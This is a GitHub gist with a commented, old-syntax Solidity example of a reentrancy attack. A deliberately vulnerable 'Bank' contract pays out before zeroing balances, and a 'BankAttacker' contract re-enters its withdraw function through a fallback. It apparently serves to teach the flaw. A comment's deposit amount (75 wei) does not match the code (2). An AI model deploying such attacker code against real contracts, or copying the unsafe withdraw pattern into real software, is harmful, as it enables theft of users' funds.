Skip to content

Instantly share code, notes, and snippets.

@djaramillo021
Last active February 10, 2022 14:44
Show Gist options
  • Save djaramillo021/896f94cef76d065d0a9bacc096f168e1 to your computer and use it in GitHub Desktop.
Save djaramillo021/896f94cef76d065d0a9bacc096f168e1 to your computer and use it in GitHub Desktop.
example.sol
contract Bank{
/*Contract that stores user balances. This is the vulnerable contract. This contract contains
the basic actions necessary to interact with its users, such as: get balance, add to balance,
and withdraw balance */
mapping(address=>uint) userBalances;/*mapping is a variable
type that saves the relation between the user and the amount contributed to
this contract. An address (account) is a unique indentifier in the blockchain*/
function getUserBalance(address user) constant returns(uint) {
return userBalances[user];
}/*This function returns the amount (balance) that the user has contributed
to this contract (this information is saved in the userBalances variable)*/
function addToBalance() {
userBalances[msg.sender] = userBalances[msg.sender] + msg.value;
}/*This function assigns the value sent by the user to the userBalances variable.
The msg variable is a global variable*/
function withdrawBalance() {
uint amountToWithdraw = userBalances[msg.sender];
if (msg.sender.call.value(amountToWithdraw)() == false) {
throw;
}
userBalances[msg.sender] = 0;
}
}/*First, this function gets the user's balance and sets it to the amountToWithdraw
variable. Then, the function sends the user the amount set in the
amountToWithdraw variable. If the transaction is successful the userBalances is
set to 0 because all the funds deposited in the balance are sent to the user.
Otherwise, the throw command is triggered, reversing the previous transaction.*/
contract BankAttacker{
/*This is the malicious contract that implements a double spend attack to the
first contract: contract Bank. This attack can be carried out n times.
For this example, we carried it out only 2 times.*/
bool is_attack;
address bankAddress;
function BankAttacker(address _bankAddress, bool _is_attack){
bankAddress=_bankAddress;
is_attack=_is_attack;
}/*This function, which is the constructor, sets the address of the contract to be attacked
(contract Bank) and enables/disables the double spend attack */
function() {
if(is_attack==true)
{
is_attack=false;
if(bankAddress.call(bytes4(sha3("withdrawBalance()")))) {
throw;
}
}
}/* This is the fallback function that calls the withdrawnBalance function
when attack flag, previuosly set in the constructor, is enabled. This function
is triggered because in the withdrawBalance function of the contract Bank a
send was executed. To avoid infinitive recursive fallbacks, it is necessary
to set the variable is_attack to false. Otherwise, the gas would run out, the
throw would execute and the attack would fail */
function deposit(){
if(bankAddress.call.value(2).gas(20764)(bytes4(sha3("addToBalance()")))
==false) {
throw;
}
}/*This function makes a deposit in the contract Bank (75 wei) calling the
addToBalance function of the contract Bank*/
function withdraw(){
if(bankAddress.call(bytes4(sha3("withdrawBalance()")))==false ) {
throw;
}
}/*This function triggers the withdrawBalance function in the contract Bank*/
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment